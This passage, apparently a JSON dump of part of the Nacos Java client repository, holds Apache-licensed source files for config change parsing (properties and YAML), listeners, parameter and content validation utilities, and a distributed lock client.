    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * PropertiesChangeParser.\n *\n * @author rushsky518\n */\npublic class PropertiesChangeParser extends AbstractConfigChangeParser {\n    \n    private static final String CONFIG_TYPE = \"properties\";\n    \n    public PropertiesChangeParser() {\n        super(CONFIG_TYPE);\n    }\n    \n    @Override\n    public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) throws IOException {\n        Properties oldProps = new Properties();\n        Properties newProps = new Properties();\n        \n        if (StringUtils.isNotBlank(oldContent)) {\n            oldProps.load(new StringReader(oldContent));\n        }\n        if (StringUtils.isNotBlank(newContent)) {\n            newProps.load(new StringReader(newContent));\n        }\n        \n        return filterChangeData(oldProps, newProps);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/YmlChangeParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.yaml.snakeyaml.LoaderOptions;\nimport org.yaml.snakeyaml.Yaml;\nimport org.yaml.snakeyaml.composer.ComposerException;\nimport org.yaml.snakeyaml.constructor.SafeConstructor;\nimport org.yaml.snakeyaml.error.MarkedYAMLException;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Iterator;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\n/**\n * YmlChangeParser.\n *\n * @author rushsky518\n */\npublic class YmlChangeParser extends AbstractConfigChangeParser {\n    \n    private static final String INVALID_CONSTRUCTOR_ERROR_INFO = \"could not determine a constructor for the tag\";\n    \n    private static final String CONFIG_TYPE = \"yaml\";\n    \n    public YmlChangeParser() {\n        super(CONFIG_TYPE);\n    }\n    \n    @Override\n    public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {\n        Map<String, Object> oldMap = Collections.emptyMap();\n        Map<String, Object> newMap = Collections.emptyMap();\n        try {\n            Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));\n            if (StringUtils.isNotBlank(oldContent)) {\n                oldMap = yaml.load(oldContent);\n                oldMap = getFlattenedMap(oldMap);\n            }\n            if (StringUtils.isNotBlank(newContent)) {\n                newMap = yaml.load(newContent);\n                newMap = getFlattenedMap(newMap);\n            }\n        } catch (MarkedYAMLException e) {\n            handleYamlException(e);\n        }\n        \n        return filterChangeData(oldMap, newMap);\n    }\n    \n    private void handleYamlException(MarkedYAMLException e) {\n        if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO) || e instanceof ComposerException) {\n            throw new NacosRuntimeException(NacosException.INVALID_PARAM,\n                    \"AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen \"\n                            + \"key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.\",\n                    e);\n        }\n        throw e;\n    }\n    \n    private Map<String, Object> getFlattenedMap(Map<String, Object> source) {\n        Map<String, Object> result = new LinkedHashMap<>(128);\n        buildFlattenedMap(result, source, null);\n        return result;\n    }\n    \n    private void buildFlattenedMap(Map<String, Object> result, Map<String, Object> source, String path) {\n        for (Iterator<Map.Entry<String, Object>> itr = source.entrySet().iterator(); itr.hasNext(); ) {\n            Map.Entry<String, Object> e = itr.next();\n            String key = e.getKey();\n            if (StringUtils.isNotBlank(path)) {\n                if (e.getKey().startsWith(\"[\")) {\n                    key = path + key;\n                } else {\n                    key = path + '.' + key;\n                }\n            }\n            if (e.getValue() instanceof String) {\n                result.put(key, e.getValue());\n            } else if (e.getValue() instanceof Map) {\n                @SuppressWarnings(\"unchecked\") Map<String, Object> map = (Map<String, Object>) e.getValue();\n                buildFlattenedMap(result, map, key);\n            } else if (e.getValue() instanceof Collection) {\n                @SuppressWarnings(\"unchecked\") Collection<Object> collection = (Collection<Object>) e.getValue();\n                if (collection.isEmpty()) {\n                    result.put(key, \"\");\n                } else {\n                    int count = 0;\n                    for (Object object : collection) {\n                        buildFlattenedMap(result, Collections.singletonMap(\"[\" + (count++) + \"]\", object), key);\n                    }\n                }\n            } else {\n                result.put(key, (e.getValue() != null ? e.getValue() : \"\"));\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/listener/impl/AbstractConfigChangeListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.listener.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeEvent;\nimport com.alibaba.nacos.api.config.listener.AbstractListener;\n\n/**\n * AbstractConfigChangeListener.\n *\n * @author rushsky518\n */\npublic abstract class AbstractConfigChangeListener extends AbstractListener {\n    \n    /**\n     * handle config change.\n     *\n     * @param event config change event\n     */\n    public abstract void receiveConfigChange(final ConfigChangeEvent event);\n    \n    @Override\n    public void receiveConfigInfo(final String configInfo) {\n    }\n}\n\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/listener/impl/PropertiesListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.listener.impl;\n\nimport com.alibaba.nacos.api.config.listener.AbstractListener;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.Properties;\n\n/**\n * Properties Listener.\n *\n * @author Nacos\n */\npublic abstract class PropertiesListener extends AbstractListener {\n    \n    private static final Logger LOGGER = LogUtils.logger(PropertiesListener.class);\n    \n    @Override\n    public void receiveConfigInfo(String configInfo) {\n        if (StringUtils.isEmpty(configInfo)) {\n            return;\n        }\n        \n        Properties properties = new Properties();\n        try {\n            properties.load(new StringReader(configInfo));\n            innerReceive(properties);\n        } catch (IOException e) {\n            LOGGER.error(\"load properties error：\" + configInfo, e);\n        }\n        \n    }\n    \n    /**\n     * properties type for receiver.\n     *\n     * @param properties properties\n     */\n    public abstract void innerReceive(Properties properties);\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/utils/ContentUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\n\nimport static com.alibaba.nacos.api.common.Constants.WORD_SEPARATOR;\n\n/**\n * Content Util.\n *\n * @author Nacos\n */\npublic class ContentUtils {\n    \n    private static final int SHOW_CONTENT_SIZE = 100;\n    \n    /**\n     * Verify increment pub content.\n     *\n     * @param content content\n     * @throws IllegalArgumentException if content is not valid\n     */\n    public static void verifyIncrementPubContent(String content) {\n        \n        if (content == null || content.length() == 0) {\n            throw new IllegalArgumentException(\"publish/delete content can not be null\");\n        }\n        for (int i = 0; i < content.length(); i++) {\n            char c = content.charAt(i);\n            if (c == '\\r' || c == '\\n') {\n                throw new IllegalArgumentException(\"publish/delete content can not contain return and linefeed\");\n            }\n            if (c == Constants.WORD_SEPARATOR.charAt(0)) {\n                throw new IllegalArgumentException(\"publish/delete content can not contain(char)2\");\n            }\n        }\n    }\n    \n    public static String getContentIdentity(String content) {\n        int index = content.indexOf(WORD_SEPARATOR);\n        if (index == -1) {\n            throw new IllegalArgumentException(\"content does not contain separator\");\n        }\n        return content.substring(0, index);\n    }\n    \n    public static String getContent(String content) {\n        int index = content.indexOf(WORD_SEPARATOR);\n        if (index == -1) {\n            throw new IllegalArgumentException(\"content does not contain separator\");\n        }\n        return content.substring(index + 1);\n    }\n    \n    /**\n     * Truncate content.\n     *\n     * @param content content\n     * @return truncated content\n     */\n    public static String truncateContent(String content) {\n        if (content == null) {\n            return \"\";\n        } else if (content.length() <= SHOW_CONTENT_SIZE) {\n            return content;\n        } else {\n            return content.substring(0, SHOW_CONTENT_SIZE) + \"...\";\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/utils/JvmUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport org.slf4j.Logger;\n\n/**\n * Get jvm config.\n *\n * @author Nacos\n */\npublic class JvmUtil {\n    \n    /**\n     * whether is multi instance.\n     *\n     * @return whether multi\n     */\n    public static Boolean isMultiInstance() {\n        return isMultiInstance;\n    }\n    \n    private static Boolean isMultiInstance = false;\n    \n    private static final String TRUE = \"true\";\n    \n    private static final Logger LOGGER = LogUtils.logger(JvmUtil.class);\n    \n    private static final String IS_MULTI_INSTANCE_PROPERTY = \"isMultiInstance\";\n    \n    private static final String DEFAULT_IS_MULTI_INSTANCE = \"false\";\n    \n    static {\n        init();\n    }\n    \n    private static void init() {\n        String multiDeploy = NacosClientProperties.PROTOTYPE\n                .getProperty(IS_MULTI_INSTANCE_PROPERTY, DEFAULT_IS_MULTI_INSTANCE);\n        if (TRUE.equals(multiDeploy)) {\n            isMultiInstance = true;\n        }\n        LOGGER.info(\"isMultiInstance:{}\", isMultiInstance);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/utils/ParamUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.List;\n\n/**\n * Param check util.\n *\n * @author Nacos\n */\npublic class ParamUtils {\n    \n    private static final char[] VALID_CHARS = new char[] {'_', '-', '.', ':'};\n    \n    private static final String CONTENT_INVALID_MSG = \"content invalid\";\n    \n    private static final String DATAID_INVALID_MSG = \"dataId invalid\";\n    \n    private static final String TENANT_INVALID_MSG = \"tenant invalid\";\n    \n    private static final String BETAIPS_INVALID_MSG = \"betaIps invalid\";\n    \n    private static final String GROUP_INVALID_MSG = \"group invalid\";\n    \n    private static final String DATUMID_INVALID_MSG = \"datumId invalid\";\n    \n    /**\n     * Check the whitelist method, the legal parameters can only contain letters, numbers, and characters in validChars, and cannot be empty.\n     *\n     * @param param parameter\n     * @return true if valid\n     */\n    public static boolean isValid(String param) {\n        if (param == null) {\n            return false;\n        }\n        int length = param.length();\n        for (int i = 0; i < length; i++) {\n            char ch = param.charAt(i);\n            if (!Character.isLetterOrDigit(ch) && !isValidChar(ch)) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    private static boolean isValidChar(char ch) {\n        for (char c : VALID_CHARS) {\n            if (c == ch) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    /**\n     * Check Tenant, dataId and group.\n     *\n     * @param tenant tenant\n     * @param dataId dataId\n     * @param group  group\n     * @throws NacosException nacos exception\n     */\n    public static void checkTdg(String tenant, String dataId, String group) throws NacosException {\n        checkTenant(tenant);\n        if (StringUtils.isBlank(dataId) || !ParamUtils.isValid(dataId)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, DATAID_INVALID_MSG);\n        }\n        if (StringUtils.isBlank(group) || !ParamUtils.isValid(group)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, GROUP_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check key param.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @throws NacosException nacos exception\n     */\n    public static void checkKeyParam(String dataId, String group) throws NacosException {\n        if (StringUtils.isBlank(dataId) || !ParamUtils.isValid(dataId)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, DATAID_INVALID_MSG);\n        }\n        if (StringUtils.isBlank(group) || !ParamUtils.isValid(group)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, GROUP_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check key param.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param datumId datumId\n     * @throws NacosException nacos exception\n     */\n    public static void checkKeyParam(String dataId, String group, String datumId) throws NacosException {\n        if (StringUtils.isBlank(dataId) || !ParamUtils.isValid(dataId)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, DATAID_INVALID_MSG);\n        }\n        if (StringUtils.isBlank(group) || !ParamUtils.isValid(group)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, GROUP_INVALID_MSG);\n        }\n        if (StringUtils.isBlank(datumId) || !ParamUtils.isValid(datumId)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, DATUMID_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check key param.\n     *\n     * @param dataIds dataIds\n     * @param group   group\n     * @throws NacosException nacos exception\n     */\n    public static void checkKeyParam(List<String> dataIds, String group) throws NacosException {\n        if (dataIds == null || dataIds.size() == 0) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"dataIds invalid\");\n        }\n        for (String dataId : dataIds) {\n            if (StringUtils.isBlank(dataId) || !ParamUtils.isValid(dataId)) {\n                throw new NacosException(NacosException.CLIENT_INVALID_PARAM, DATAID_INVALID_MSG);\n            }\n        }\n        if (StringUtils.isBlank(group) || !ParamUtils.isValid(group)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, GROUP_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check parameter.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param content content\n     * @throws NacosException nacos exception\n     */\n    public static void checkParam(String dataId, String group, String content) throws NacosException {\n        checkKeyParam(dataId, group);\n        if (StringUtils.isBlank(content)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, CONTENT_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check parameter.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param datumId datumId\n     * @param content content\n     * @throws NacosException nacos exception\n     */\n    public static void checkParam(String dataId, String group, String datumId, String content) throws NacosException {\n        checkKeyParam(dataId, group, datumId);\n        if (StringUtils.isBlank(content)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, CONTENT_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check Tenant.\n     *\n     * @param tenant tenant\n     * @throws NacosException nacos exception\n     */\n    public static void checkTenant(String tenant) throws NacosException {\n        if (StringUtils.isBlank(tenant) || !ParamUtils.isValid(tenant)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, TENANT_INVALID_MSG);\n        }\n    }\n    \n    /**\n     * Check beta ips.\n     *\n     * @param betaIps beta ips\n     * @throws NacosException nacos exception\n     */\n    public static void checkBetaIps(String betaIps) throws NacosException {\n        if (StringUtils.isBlank(betaIps)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, BETAIPS_INVALID_MSG);\n        }\n        String[] ipsArr = betaIps.split(\",\");\n        for (String ip : ipsArr) {\n            if (!InternetAddressUtil.isIp(ip)) {\n                throw new NacosException(NacosException.CLIENT_INVALID_PARAM, BETAIPS_INVALID_MSG);\n            }\n        }\n    }\n    \n    /**\n     * Check content.\n     *\n     * @param content content\n     * @throws NacosException nacos exception\n     */\n    public static void checkContent(String content) throws NacosException {\n        if (StringUtils.isBlank(content)) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, CONTENT_INVALID_MSG);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/utils/SnapShotSwitch.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;\n\n/**\n * Snapshot switch.\n *\n * @author Nacos\n */\npublic class SnapShotSwitch {\n    \n    /**\n     * whether use local cache.\n     */\n    private static Boolean isSnapShot = true;\n    \n    public static Boolean getIsSnapShot() {\n        return isSnapShot;\n    }\n    \n    public static void setIsSnapShot(Boolean isSnapShot) {\n        SnapShotSwitch.isSnapShot = isSnapShot;\n        LocalConfigInfoProcessor.cleanAllSnapshot();\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/NacosLockService.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.LockService;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.lock.remote.grpc.LockGrpcClient;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.security.SecurityProxy;\n\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.constant.Constants.Security.SECURITY_INFO_REFRESH_INTERVAL_MILLS;\n\n/**\n * nacos lock Service.\n *\n * @author 985492783@qq.com\n * @date 2023/8/24 19:51\n */\npublic class NacosLockService implements LockService {\n    \n    private final LockGrpcClient lockGrpcClient;\n    \n    private final SecurityProxy securityProxy;\n    \n    private ScheduledExecutorService executorService;\n    \n    public NacosLockService(Properties properties) throws NacosException {\n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        AbstractServerListManager serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        this.securityProxy = new SecurityProxy(serverListManager,\n                NamingHttpClientManager.getInstance().getNacosRestTemplate());\n        initSecurityProxy(nacosClientProperties);\n        this.lockGrpcClient = new LockGrpcClient(nacosClientProperties, serverListManager, securityProxy);\n    }\n    \n    private void initSecurityProxy(NacosClientProperties properties) {\n        this.executorService = new ScheduledThreadPoolExecutor(1, r -> {\n            Thread t = new Thread(r);\n            t.setName(\"com.alibaba.nacos.client.lock.security\");\n            t.setDaemon(true);\n            return t;\n        });\n        final Properties nacosClientPropertiesView = properties.asProperties();\n        this.securityProxy.login(nacosClientPropertiesView);\n        this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(nacosClientPropertiesView), 0,\n                SECURITY_INFO_REFRESH_INTERVAL_MILLS, TimeUnit.MILLISECONDS);\n    }\n    \n    @Override\n    public Boolean lock(LockInstance instance) throws NacosException {\n        return instance.lock(this);\n    }\n    \n    @Override\n    public Boolean unLock(LockInstance instance) throws NacosException {\n        return instance.unLock(this);\n    }\n    \n    @Override\n    public Boolean remoteTryLock(LockInstance instance) throws NacosException {\n        return lockGrpcClient.lock(instance);\n    }\n    \n    @Override\n    public Boolean remoteReleaseLock(LockInstance instance) throws NacosException {\n        return lockGrpcClient.unLock(instance);\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        lockGrpcClient.shutdown();\n        if (null != executorService) {\n            executorService.shutdown();\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/core/NLock.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.core;\n\nimport com.alibaba.nacos.api.lock.common.LockConstants;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\n\n/**\n * Nacos client lock entity.\n *\n * @author 985492783@qq.com\n * @date 2023/8/24 19:52\n */\npublic class NLock extends LockInstance {\n    \n    private static final long serialVersionUID = -346054842454875524L;\n    \n    public NLock(String key, Long expireTimestamp) {\n        super(key, expireTimestamp, LockConstants.NACOS_LOCK_TYPE);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/core/NLockFactory.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.core;\n\n/**\n * NLock factory.\n *\n * @author 985492783@qq.com\n * @date 2023/8/27 15:23\n */\npublic class NLockFactory {\n    \n    /**\n     * create NLock without expireTime.\n     *\n     * @param key key\n     * @return NLock\n     */\n    public static NLock getLock(String key) {\n        return new NLock(key, -1L);\n    }\n    \n    /**\n     * create NLock with expireTime.\n     *\n     * @param key key\n     * @return NLock\n     */\n    public static NLock getLock(String key, Long expireTimestamp) {\n        return new NLock(key, expireTimestamp);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/remote/AbstractLockClient.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.remote;\n\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * abstract lock client.\n * @author 985492783@qq.com\n * @description AbstractLockClient\n * @date 2023/6/28 17:19\n */\npublic abstract class AbstractLockClient implements LockClient {\n    private final SecurityProxy securityProxy;\n    \n    private static final String APP_FILED = \"app\";\n    \n    protected AbstractLockClient(SecurityProxy securityProxy) {\n        this.securityProxy = securityProxy;\n    }\n    \n    protected Map<String, String> getSecurityHeaders() {\n        RequestResource resource = RequestResource.lockBuilder().build();\n        Map<String, String> result = this.securityProxy.getIdentityContext(resource);\n        result.putAll(getAppHeaders());\n        return result;\n    }\n    \n    protected Map<String, String> getAppHeaders() {\n        Map<String, String> result = new HashMap<>(1);\n        result.put(APP_FILED, AppNameUtils.getAppName());\n        return result;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/remote/LockClient.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\n\n/**\n * lock client interface.\n *\n * @author 985492783@qq.com\n * @description LockClient\n * @date 2023/6/28 17:19\n */\npublic interface LockClient extends Closeable {\n    \n    /**\n     * lock client get lock.\n     *\n     * @param instance instance.\n     * @return Boolean.\n     * @throws NacosException nacos Exception.\n     */\n    Boolean lock(LockInstance instance) throws NacosException;\n    \n    /**\n     * lock client unLock.\n     *\n     * @param instance instance.\n     * @return Boolean.\n     * @throws NacosException nacos Exception.\n     */\n    Boolean unLock(LockInstance instance) throws NacosException;\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/lock/remote/grpc/LockGrpcClient.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.remote.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.lock.constant.PropertyConstants;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\nimport com.alibaba.nacos.api.lock.remote.AbstractLockRequest;\nimport com.alibaba.nacos.api.lock.remote.LockOperationEnum;\nimport 